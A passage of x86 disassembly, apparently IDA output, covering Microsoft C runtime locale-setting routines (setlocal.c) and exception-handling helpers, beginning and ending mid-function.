		mov	ecx, [eax+18h]
		push	ecx
		call	loc_430750
		add	esp, 4
		test	eax, eax
		jz	short loc_42A9EE
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_42A9C5
		push	1
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42AAB0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41F510
		jmp	short loc_42A9EC
; ---------------------------------------------------------------------------


loc_42A9C5:				; CODE XREF: sub_42A7A0+1F8j
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42AAB0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41F500


loc_42A9EC:				; CODE XREF: sub_42A7A0+223j
		jmp	short loc_42A9F3
; ---------------------------------------------------------------------------


loc_42A9EE:				; CODE XREF: sub_42A7A0+1C3j
					; sub_42A7A0+1D9j ...
		call	sub_42AC00


loc_42A9F3:				; CODE XREF: sub_42A7A0:loc_42A861j
					; sub_42A7A0:loc_42A8E5j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42AA0A
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_42AB50


loc_42AA0A:				; CODE XREF: sub_42A7A0:loc_42A7E6j
					; sub_42A7A0+25Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42A7A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AA20	proc near		; CODE XREF: sub_429F90+252p
					; sub_42A6DD+55p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43A1F8
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	[ebp+arg_0], 0
		jz	short loc_42AA95
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_42AA95
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_41F4F0
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42AA95
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_42AB50


loc_42AA95:				; CODE XREF: sub_42AA20+2Aj
					; sub_42AA20+36j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AA20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AAB0	proc near		; CODE XREF: sub_42A7A0+ADp
					; sub_42A7A0+131p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jl	short loc_42AAEF
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	ecx, [ebp+var_4]
		add	ecx, [eax+edx]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, [edx+4]
		mov	[ebp+var_4], eax


loc_42AAEF:				; CODE XREF: sub_42AAB0+16j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42AAB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AB00	proc near		; CODE XREF: sub_41F5F0+4Dp
					; sub_42A410+8Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41F95D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42AB3F
		mov	ecx, 2


loc_42AB3F:				; CODE XREF: sub_42AB00+38j
		push	ecx
		call	sub_41F95D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_42AB00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AB50	proc near		; CODE XREF: sub_429F90:loc_42A223p
					; sub_42A510:loc_42A531p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042ABC4 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43A208
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		call	sub_425C30
		cmp	dword ptr [eax+60h], 0
		jz	short loc_42ABB0
		mov	[ebp+var_4], 1
		call	sub_425C30
		call	dword ptr [eax+60h]
		mov	[ebp+var_4], 0
		jmp	short loc_42ABB0
; ---------------------------------------------------------------------------


loc_42ABA0:				; DATA XREF: seg001:0043A218o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42ABA6:				; DATA XREF: seg001:0043A21Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_42ABB0:				; CODE XREF: sub_42AB50+36j
					; sub_42AB50+4Ej
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42ABBE
		jmp	short loc_42ABC4
sub_42AB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_42ABBE	proc near		; CODE XREF: sub_42AB50+67p
					; DATA XREF: seg001:0043A210o
		call	sub_430780
		retn
sub_42ABBE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AB50


loc_42ABC4:				; CODE XREF: sub_42AB50+6Cj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42AB50
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_425C30
		cmp	dword ptr [eax+64h], 0
		jz	short loc_42ABF6
		call	sub_425C30
		call	dword ptr [eax+64h]


loc_42ABF6:				; CODE XREF: seg000:0042ABECj
		call	sub_42AB50
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AC00	proc near		; CODE XREF: sub_41F800+23p
					; sub_41F800:loc_41F86Dp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042AC70 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43A220
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		cmp	ds:off_450420, 0
		jz	short loc_42AC5C
		mov	[ebp+var_4], 1
		call	ds:off_450420
		mov	[ebp+var_4], 0
		jmp	short loc_42AC5C
; ---------------------------------------------------------------------------


loc_42AC4C:				; DATA XREF: seg001:0043A230o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42AC52:				; DATA XREF: seg001:0043A234o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_42AC5C:				; CODE XREF: sub_42AC00+34j
					; sub_42AC00+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42AC6A
		jmp	short loc_42AC70
sub_42AC00	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AC6A	proc near		; CODE XREF: sub_42AC00+63p
					; DATA XREF: seg001:0043A228o
		call	sub_42AB50
		retn
sub_42AC6A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AC00


loc_42AC70:				; CODE XREF: sub_42AC00+68j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42AC00
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0B0h
		cmp	dword ptr [ebp+8], 0
		jl	short loc_42ACA5
		cmp	dword ptr [ebp+8], 5
		jle	short loc_42ACAC


loc_42ACA5:				; CODE XREF: seg000:0042AC9Dj
		xor	eax, eax
		jmp	loc_42B07B
; ---------------------------------------------------------------------------


loc_42ACAC:				; CODE XREF: seg000:0042ACA3j
		push	13h
		call	sub_421A80
		add	esp, 4
		mov	dword ptr [ebp-4], 1
		mov	eax, ds:dword_4EED10
		add	eax, 1
		mov	ds:dword_4EED10, eax


loc_42ACCA:				; CODE XREF: seg000:0042ACDBj
		cmp	ds:dword_4EED14, 0
		jz	short loc_42ACDD
		push	1
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_42ACCA
; ---------------------------------------------------------------------------


loc_42ACDD:				; CODE XREF: seg000:0042ACD1j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_42AD21
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_42AD01
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_42B080
		add	esp, 8
		mov	[ebp-0A8h], eax
		jmp	short loc_42AD13
; ---------------------------------------------------------------------------


loc_42AD01:				; CODE XREF: seg000:0042ACE7j
		mov	eax, [ebp+8]
		imul	eax, 0Ch
		mov	ecx, ds:dword_450534[eax]
		mov	[ebp-0A8h], ecx


loc_42AD13:				; CODE XREF: seg000:0042ACFFj
		mov	edx, [ebp-0A8h]
		mov	[ebp-8], edx
		jmp	loc_42B05B
; ---------------------------------------------------------------------------


loc_42AD21:				; CODE XREF: seg000:0042ACE1j
		mov	dword ptr [ebp-14h], 1
		mov	dword ptr [ebp-0Ch], 0
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_42B053
		mov	eax, [ebp+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 4Ch
		jnz	loc_42AF64
		mov	edx, [ebp+0Ch]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 43h
		jnz	loc_42AF64
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+2]
		cmp	edx, 5Fh
		jnz	loc_42AF64
		mov	eax, [ebp+0Ch]
		mov	[ebp-9Ch], eax


loc_42AD71:				; CODE XREF: seg000:0042AF33j
		push	offset asc_43A27C ; "=;"
		mov	ecx, [ebp-9Ch]
		push	ecx
		call	sub_431CA0
		add	esp, 8
		mov	[ebp-0A0h], eax
		cmp	dword ptr [ebp-0A0h], 0
		jz	short loc_42ADBD
		mov	edx, [ebp-0A0h]
		sub	edx, [ebp-9Ch]
		mov	[ebp-0A4h], edx
		cmp	dword ptr [ebp-0A4h], 0
		jz	short loc_42ADBD
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jnz	short loc_42ADE3


loc_42ADBD:				; CODE XREF: seg000:0042AD92j
					; seg000:0042ADADj
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42ADDC
		push	13h
		call	sub_421B20
		add	esp, 4
		mov	edx, ds:dword_4EED10
		sub	edx, 1
		mov	ds:dword_4EED10, edx


loc_42ADDC:				; CODE XREF: seg000:0042ADC1j
		xor	eax, eax
		jmp	loc_42B07B
; ---------------------------------------------------------------------------


loc_42ADE3:				; CODE XREF: seg000:0042ADBBj
		mov	dword ptr [ebp-10h], 1
		jmp	short loc_42ADF5
; ---------------------------------------------------------------------------


loc_42ADEC:				; CODE XREF: seg000:loc_42AE41j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_42ADF5:				; CODE XREF: seg000:0042ADEAj
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_42AE43
		mov	ecx, [ebp-0A4h]
		push	ecx
		mov	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, ds:off_450530[eax]
		push	ecx
		call	sub_41E510
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42AE41
		mov	edx, [ebp-10h]
		imul	edx, 0Ch
		mov	eax, ds:off_450530[edx]
		push	eax
		call	sub_41AC70
		add	esp, 4
		cmp	[ebp-0A4h], eax
		jnz	short loc_42AE41
		jmp	short loc_42AE43
; ---------------------------------------------------------------------------


loc_42AE41:				; CODE XREF: seg000:0042AE20j
					; seg000:0042AE3Dj
		jmp	short loc_42ADEC
; ---------------------------------------------------------------------------


loc_42AE43:				; CODE XREF: seg000:0042ADF9j
					; seg000:0042AE3Fj
		push	offset asc_43A278 ; ";"
		mov	ecx, [ebp-0A0h]
		add	ecx, 1
		mov	[ebp-0A0h], ecx
		mov	edx, [ebp-0A0h]
		push	edx
		call	sub_431C60
		add	esp, 8
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jnz	short loc_42AEA9
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jz	short loc_42AEA9
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42AEA2
		push	13h
		call	sub_421B20
		add	esp, 4
		mov	edx, ds:dword_4EED10
		sub	edx, 1
		mov	ds:dword_4EED10, edx


loc_42AEA2:				; CODE XREF: seg000:0042AE87j
		xor	eax, eax
		jmp	loc_42B07B
; ---------------------------------------------------------------------------


loc_42AEA9:				; CODE XREF: seg000:0042AE73j
					; seg000:0042AE81j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_42AEFA
		mov	eax, [ebp-0A4h]
		push	eax
		mov	ecx, [ebp-0A0h]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_41D800
		add	esp, 0Ch
		mov	eax, [ebp-0A4h]
		mov	byte ptr [ebp+eax-98h],	0
		lea	ecx, [ebp-98h]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		call	sub_42B080
		add	esp, 8
		test	eax, eax
		jz	short loc_42AEFA
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_42AEFA:				; CODE XREF: seg000:0042AEADj
					; seg000:0042AEEFj
		mov	ecx, [ebp-0A0h]
		add	ecx, [ebp-0A4h]
		mov	[ebp-9Ch], ecx
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42AF28
		mov	ecx, [ebp-9Ch]
		add	ecx, 1
		mov	[ebp-9Ch], ecx


loc_42AF28:				; CODE XREF: seg000:0042AF17j
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	loc_42AD71
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_42AF4C
		call	sub_42B220
		mov	[ebp-0ACh], eax
		jmp	short loc_42AF56
; ---------------------------------------------------------------------------


loc_42AF4C:				; CODE XREF: seg000:0042AF3Dj
		mov	dword ptr [ebp-0ACh], 0


loc_42AF56:				; CODE XREF: seg000:0042AF4Aj
		mov	ecx, [ebp-0ACh]
		mov	[ebp-8], ecx
		jmp	loc_42B051
; ---------------------------------------------------------------------------


loc_42AF64:				; CODE XREF: seg000:0042AD42j
					; seg000:0042AD52j ...
		mov	edx, [ebp+8]
		push	edx
		push	0
		push	0
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_42B320
		add	esp, 14h
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_42B051
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42AF9E
; ---------------------------------------------------------------------------


loc_42AF95:				; CODE XREF: seg000:loc_42AFFEj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_42AF9E:				; CODE XREF: seg000:0042AF93j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_42B000
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_42AFFE
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, ds:dword_450534[eax]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_41D900
		add	esp, 8
		test	eax, eax
		jz	short loc_42AFF5
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_42B080
		add	esp, 8
		test	eax, eax
		jz	short loc_42AFEC
		mov	edx, [ebp-0Ch]
		add	edx, 1
		mov	[ebp-0Ch], edx
		jmp	short loc_42AFF3
; ---------------------------------------------------------------------------


loc_42AFEC:				; CODE XREF: seg000:0042AFDFj
		mov	dword ptr [ebp-14h], 0


loc_42AFF3:				; CODE XREF: seg000:0042AFEAj
		jmp	short loc_42AFFE
; ---------------------------------------------------------------------------


loc_42AFF5:				; CODE XREF: seg000:0042AFC8j
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_42AFFE:				; CODE XREF: seg000:0042AFA8j
					; seg000:loc_42AFF3j
		jmp	short loc_42AF95
; ---------------------------------------------------------------------------


loc_42B000:				; CODE XREF: seg000:0042AFA2j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_42B02B
		call	sub_42B220
		mov	[ebp-8], eax
		push	2
		mov	ecx, ds:dword_450534
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		mov	ds:dword_450534, 0
		jmp	short loc_42B051
; ---------------------------------------------------------------------------


loc_42B02B:				; CODE XREF: seg000:0042B004j
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_42B03E
		call	sub_42B220
		mov	[ebp-0B0h], eax
		jmp	short loc_42B048
; ---------------------------------------------------------------------------


loc_42B03E:				; CODE XREF: seg000:0042B02Fj
		mov	dword ptr [ebp-0B0h], 0


loc_42B048:				; CODE XREF: seg000:0042B03Cj
		mov	edx, [ebp-0B0h]
		mov	[ebp-8], edx


loc_42B051:				; CODE XREF: seg000:0042AF5Fj
					; seg000:0042AF86j ...
		jmp	short loc_42B05B
; ---------------------------------------------------------------------------


loc_42B053:				; CODE XREF: seg000:0042AD33j
		call	sub_42B220
		mov	[ebp-8], eax


loc_42B05B:				; CODE XREF: seg000:0042AD1Cj
					; seg000:loc_42B051j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42B078
		push	13h
		call	sub_421B20
		add	esp, 4
		mov	eax, ds:dword_4EED10
		sub	eax, 1
		mov	ds:dword_4EED10, eax


loc_42B078:				; CODE XREF: seg000:0042B05Fj
		mov	eax, [ebp-8]


loc_42B07B:				; CODE XREF: seg000:0042ACA7j
					; seg000:0042ADDEj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B080	proc near		; CODE XREF: seg000:0042ACF1p
					; seg000:0042AEE5p ...

var_A8		= dword	ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= byte ptr -9Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_A0]
		push	ecx
		lea	edx, [ebp+var_A8]
		push	edx
		lea	eax, [ebp+var_9C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_42B320
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42B0B9
		xor	eax, eax
		jmp	loc_42B20F
; ---------------------------------------------------------------------------


loc_42B0B9:				; CODE XREF: sub_42B080+30j
		push	132h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		lea	edx, [ebp+var_9C]
		push	edx
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_42B0F0
		xor	eax, eax
		jmp	loc_42B20F
; ---------------------------------------------------------------------------


loc_42B0F0:				; CODE XREF: sub_42B080+67j
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, ds:dword_450534[eax]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, ds:dword_4EEA68[edx*4]
		mov	[ebp+var_4], eax
		push	6
		mov	ecx, [ebp+arg_0]
		imul	ecx, 6
		add	ecx, offset dword_4EEC9C
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_41E840
		add	esp, 0Ch
		mov	eax, ds:dword_4EEA80
		mov	[ebp+var_18], eax
		lea	ecx, [ebp+var_9C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41E550
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	ds:dword_450534[ecx], eax
		mov	edx, [ebp+var_A8]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4EEA68[eax*4],	edx
		push	6
		lea	ecx, [ebp+var_A8]
		push	ecx
		mov	edx, [ebp+arg_0]
		imul	edx, 6
		add	edx, offset dword_4EEC9C
		push	edx
		call	sub_41E840
		add	esp, 0Ch
		cmp	[ebp+arg_0], 2
		jnz	short loc_42B193
		mov	eax, [ebp+var_A0]
		mov	ds:dword_4EEA80, eax


loc_42B193:				; CODE XREF: sub_42B080+106j
		cmp	[ebp+arg_0], 1
		jnz	short loc_42B1A5
		mov	ecx, [ebp+var_A0]
		mov	ds:dword_4EEA84, ecx


loc_42B1A5:				; CODE XREF: sub_42B080+117j
		mov	edx, [ebp+arg_0]
		imul	edx, 0Ch
		call	ds:off_450538[edx]
		test	eax, eax
		jz	short loc_42B1EC
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_C]
		mov	ds:dword_450534[eax], ecx
		push	2
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	ds:dword_4EEA68[eax*4],	ecx
		mov	edx, [ebp+var_18]
		mov	ds:dword_4EEA80, edx
		xor	eax, eax
		jmp	short loc_42B20F
; ---------------------------------------------------------------------------


loc_42B1EC:				; CODE XREF: sub_42B080+133j
		cmp	[ebp+var_C], offset dword_450424
		jz	short loc_42B203
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_42B203:				; CODE XREF: sub_42B080+173j
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	eax, ds:dword_450534[ecx]


loc_42B20F:				; CODE XREF: sub_42B080+34j
					; sub_42B080+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42B080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B220	proc near		; CODE XREF: seg000:0042AF3Fp
					; seg000:0042B006p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 1
		cmp	ds:dword_450534, 0
		jnz	short loc_42B254
		push	167h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		push	351h
		call	sub_41AE60
		add	esp, 10h
		mov	ds:dword_450534, eax


loc_42B254:				; CODE XREF: sub_42B220+14j
		mov	eax, ds:dword_450534
		mov	byte ptr [eax],	0
		mov	[ebp+var_4], 1
		jmp	short loc_42B26E
; ---------------------------------------------------------------------------


loc_42B265:				; CODE XREF: sub_42B220:loc_42B317j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42B26E:				; CODE XREF: sub_42B220+43j
		mov	edx, [ebp+var_4]
		imul	edx, 0Ch
		mov	eax, ds:dword_450534[edx]
		push	eax
		push	offset asc_43A28C ; "="
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, ds:off_450530[ecx]
		push	edx
		push	3
		mov	eax, ds:dword_450534
		push	eax
		call	sub_42B4C0
		add	esp, 14h
		cmp	[ebp+var_4], 5
		jge	short loc_42B2E9
		push	offset asc_43A278 ; ";"
		mov	ecx, ds:dword_450534
		push	ecx
		call	sub_41E560
		add	esp, 8
		mov	edx, [ebp+var_4]
		add	edx, 1
		imul	edx, 0Ch
		mov	eax, ds:dword_450534[edx]
		push	eax
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, ds:dword_450534[ecx]
		push	edx
		call	sub_41D900
		add	esp, 8
		test	eax, eax
		jz	short loc_42B2E7
		mov	[ebp+var_8], 0


loc_42B2E7:				; CODE XREF: sub_42B220+BEj
		jmp	short loc_42B317
; ---------------------------------------------------------------------------


loc_42B2E9:				; CODE XREF: sub_42B220+81j
		cmp	[ebp+var_8], 0
		jnz	short loc_42B2F6
		mov	eax, ds:dword_450534
		jmp	short loc_42B31C
; ---------------------------------------------------------------------------


loc_42B2F6:				; CODE XREF: sub_42B220+CDj
		push	2
		mov	eax, ds:dword_450534
		push	eax
		call	sub_41B8F0
		add	esp, 8
		mov	ds:dword_450534, 0
		mov	eax, ds:off_45054C
		jmp	short loc_42B31C
; ---------------------------------------------------------------------------


loc_42B317:				; CODE XREF: sub_42B220:loc_42B2E7j
		jmp	loc_42B265
; ---------------------------------------------------------------------------


loc_42B31C:				; CODE XREF: sub_42B220+D4j
					; sub_42B220+F5j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B320	proc near		; CODE XREF: seg000:0042AF77p
					; sub_42B080+26p

var_88		= byte ptr -88h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		cmp	[ebp+arg_0], 0
		jnz	short loc_42B336
		xor	eax, eax
		jmp	loc_42B4A0
; ---------------------------------------------------------------------------


loc_42B336:				; CODE XREF: sub_42B320+Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 43h
		jnz	short loc_42B390
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jnz	short loc_42B390
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	43h
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+1], 0
		cmp	[ebp+arg_8], 0
		jz	short loc_42B379
		mov	eax, [ebp+arg_8]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_8]
		mov	word ptr [ecx+2], 0
		mov	edx, [ebp+arg_8]
		mov	word ptr [edx+4], 0


loc_42B379:				; CODE XREF: sub_42B320+3Dj
		cmp	[ebp+arg_C], 0
		jz	short loc_42B388
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_42B388:				; CODE XREF: sub_42B320+5Dj
		mov	eax, [ebp+arg_4]
		jmp	loc_42B4A0
; ---------------------------------------------------------------------------


loc_42B390:				; CODE XREF: sub_42B320+1Fj
					; sub_42B320+2Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset dword_4504AC
		call	sub_41D900
		add	esp, 8
		test	eax, eax
		jz	loc_42B458
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_450428
		call	sub_41D900
		add	esp, 8
		test	eax, eax
		jz	loc_42B458
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_88]
		push	ecx
		call	sub_42B510
		add	esp, 8
		test	eax, eax
		jz	short loc_42B3E0
		xor	eax, eax
		jmp	loc_42B4A0
; ---------------------------------------------------------------------------


loc_42B3E0:				; CODE XREF: sub_42B320+B7j
